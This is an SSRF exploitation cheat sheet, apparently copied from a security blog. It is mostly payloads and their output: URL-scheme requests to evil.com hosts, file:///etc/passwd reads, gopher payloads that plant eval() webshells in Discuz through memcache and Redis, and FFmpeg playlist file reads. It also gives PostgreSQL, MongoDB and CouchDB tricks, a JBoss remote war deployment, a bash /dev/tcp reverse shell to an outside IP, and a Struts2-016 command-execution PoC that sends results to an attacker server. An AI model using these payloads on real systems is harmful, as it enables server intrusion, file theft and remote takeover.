SSRF Tips

SSRF PHP function

file_get_contents() fsockopen() curl_exec()

URL schema support

SFTP

http://0cx.cc/ssrf.php?url=sftp://evil.com:11111/ evil.com:$ nc -v -l 11111 Connection from [192.168.0.10] port 11111 [tcp/*] accepted (family 2, sport 36136) SSH-2.0-libssh2_1.4.2

Dict

http://0cx.cc/ssrf.php?dict://attacker:11111/ evil.com:$ nc -v -l 11111 Connection from [192.168.0.10] port 11111 [tcp/*] accepted (family 2, sport 36136) CLIENT libcurl 7.40.0

gopher

// http://0cx.cc/ssrf.php?url=http://evil.com/gopher.php header('Location: gopher://evil.com:12346/_HI%0AMultiline%0Atest'); ?> evil.com:# nc -v -l 12346 Listening on [0.0.0.0] (family 0, port 12346) Connection from [192.168.0.10] port 12346 [tcp/*] accepted (family 2, sport 49398) HI Multiline test

TFTP

http://0cx.cc/ssrf.php?url=tftp://evil.com:12346/TESTUDPPACKET evil.com:# nc -v -u -l 12346 Listening on [0.0.0.0] (family 0, port 12346) TESTUDPPACKEToctettsize0blksize512timeout6

file

http://0cx.cc/redirect.php?url=file:///etc/passwd

ldap

http://0cx.cc/redirect.php?url=ldap://localhost:11211/%0astats%0aquit

PHP-FPM

PHP-FPM universal SSRF bypass safe_mode/disabled_functions/o exploit

SSRF memcache Getshell

Generate serialize

$code=array('global_start'=>'@eval($_REQUEST[\'eval\']);'); echo serialize($code)."\n".strlen(serialize($code));

Output

a:1:{s:12:"global_start";s:25:"@eval($_REQUEST['eval']);";} //序列化数据 59 //字符串长度

webshell.php

//gopher可以换成如上其它方式 header('Location: gopher://[target ip]:11211/_%0d%0aset ssrftest 1 0 147%0d%0aa:2:{s:6:"output";a:1:{s:4:"preg";a:2:{s:6:"search";s:5:"/.*/e";s:7:"replace";s:33:"eval(base64_decode($_POST[ccc]));";}}s:13:"rewritestatus";i:1;}%0d%0a'); ?>

back.php

header('Location: gopher://192.168.10.12:11211/_%0d%0adelete ssrftest%0d%0a'); ?>

example Discuz

open the website

http://bbs.0cx.cc/forum.php?mod=ajax&action=downremoteimg&message=[img]http://myvps/webshell.php?logo.jpg[/img] http://bbs.0cx.cc/forum.php?mod=ajax&inajax=yes&action=getthreadtypes

clear data

http://bbs.0cx.cc/forum.php?mod=ajax&action=downremoteimg&message=[img]http://myserver/back.php?logo.jpg[/img]

backdoor url

http://bbs.0cx.cc/data/cache/hello.php

SSRF Redis Getshell

Generate serialize

$a['output']['preg']['search']['plugins'] = '/.*/e'; $a['output']['preg']['replace']['plugins'] = '@eval($_POST['c']);'; $a['rewritestatus']=1; $setting = serialize($a); echo $setting."\n".strlen($setting); ?>

Output

a:2:{s:6:"output";a:1:{s:4:"preg";a:2:{s:6:"search";a:1:{s:7:"plugins";s:5:"/.*/e";}s:7:"replace";a:1:{s:7:"plugins";s:19:"@eval($_POST["c"]);";}}}s:13:"rewritestatus";i:1;} //序列化数据 173 //字符串长度

example Discuz

Open website

http://192.168.80.116/forum.php?mod=ajax&action=downremoteimg&message=[img=1,1]http://you-vps-ip/ssrf.php?.jpg[/img]&formhash=818c8f44

Backdoor website

http://192.168.80.116/forum.php?mod=ajax&inajax=yes&action=getthreadtypes

FFmpeg

cat test.jpg

#EXTM3U #EXT-X-MEDIA-SEQUENCE:0 #EXTINF:10.0, concat:http://example.org/header.m3u8|file:///etc/passwd #EXT-X-ENDLIST

subfile

#EXTM3U #EXT-X-MEDIA-SEQUENCE:0 #EXTINF:10.0, concat:http://localhost/header.m3u8|subfile,,start,0,end,64,,:///etc/passwdconcat:http://localhost/header.m3u8|subfile,,start,64,end,128,,:///etc/passwdconcat:http://localhost/header.m3u8|subfile,,start,128,end,256,,:///etc/passwdconcat:http://localhost/header.m3u8|subfile,,start,256,end,512,,:///etc/passwd #EXT-X-ENDLIST

PostgreSQL

Exploit

> SELECT dblink_send_query('host=127.0.0.1 dbname=quit user=\'\nstats\n\​' password=1 port=11211 sslmode=disable','select version();');

MongoDB

Exploit

> db.copyDatabase("\1\2\3\4\5\6\7",'test','localhost:8000') > nc -l 8000 | hexdump -C > db.copyDatabase(“\nstats\nquit”,’test’,’localhost:11211’)

CouchDB

exploit

http://localhost:5984/_users/_all_docs

HTTP/1.1 200 OK Server: CouchDB/1.2.0 (Erlang OTP/R15B01) ETag: "BD1WV12007V05JTG4X6YHIHCA" Date: Tue, 18 Dec 2012 21:39:59 GMT Content-Type: text/plain; charset=utf-8 Cache-Control: must-revalidate {"total_rows":1,"offset":0,"rows":[ {"id":"_design/_auth","key":"_design/_auth","value":{"rev":"1-a8cfb993654bcc635f126724d39eb930"}} ]}

Attacker could also send requests from CouchDB server to intranet by using replication function

POST http://couchdb:5984/_replicate Content-Type: application/json Accept: application/json { "source" : "recipes", "target" : "http://ssrf-me:11211/recipes", }

Jboss

Jbosss POC

/jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.system:service=MainDeployer&methodIndex=17&arg0=http://our_public_internet_server/utils/cmd.war

写入shell

http://target.com/ueditor/jsp/getRemoteImage.jsp POST: upfile=http://10.0.0.1:8080/jmx-console/HtmlAdaptor?action=invokeOp%26name=jboss.system%3Aservice%3DMainDeployer%26methodIndex=3%26arg0=http%3A%2F%2F远端地址%2Fhtml5.war%23.jpg

http://target.com/ueditor/jsp/getRemoteImage.jsp POST: upfile=http://内网IP:8080/html5/023.jsp%23.jpg

reverse shell

bash -i >& /dev/tcp/123.45.67.89/9999 0>&1

Weblogic

gopher.php

header("Location:gopher://vps-ip:2333/_test"); ?>

vuln website

https://example.com/uddiexplorer/SearchPublicRegistries.jsp POST: operator=http://vps-ip/gopher.php&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search

vps

> nc -lvv 2333 Connection from xx.xx.xx.xx port 2333 [tcp/snapp] accepted

Local File Read

http://www.xxx.com/redirect.php?url=file:///etc/passwd http://www.xxx.com/redirect.php?url=file:///C:/Windows/win.ini

Bool SSRF

Struts2-016 POC

?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'command'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23t%3d%23d.readLine(),%23u%3d"http://SERVER/result%3d".concat(%23t),%23http%3dnew%20java.net.URL(%23u).openConnection(),%23http.setRequestMethod("GET"),%23http.connect(),%23http.getInputStream()} //修改SERVER为你vps地址,返回结果在access.log中查看

SSRF Proxy

SSRF_Proxy

ssrfsocks

from:http://blog.safebuff.com/2016/07/03/SSRF-Tips/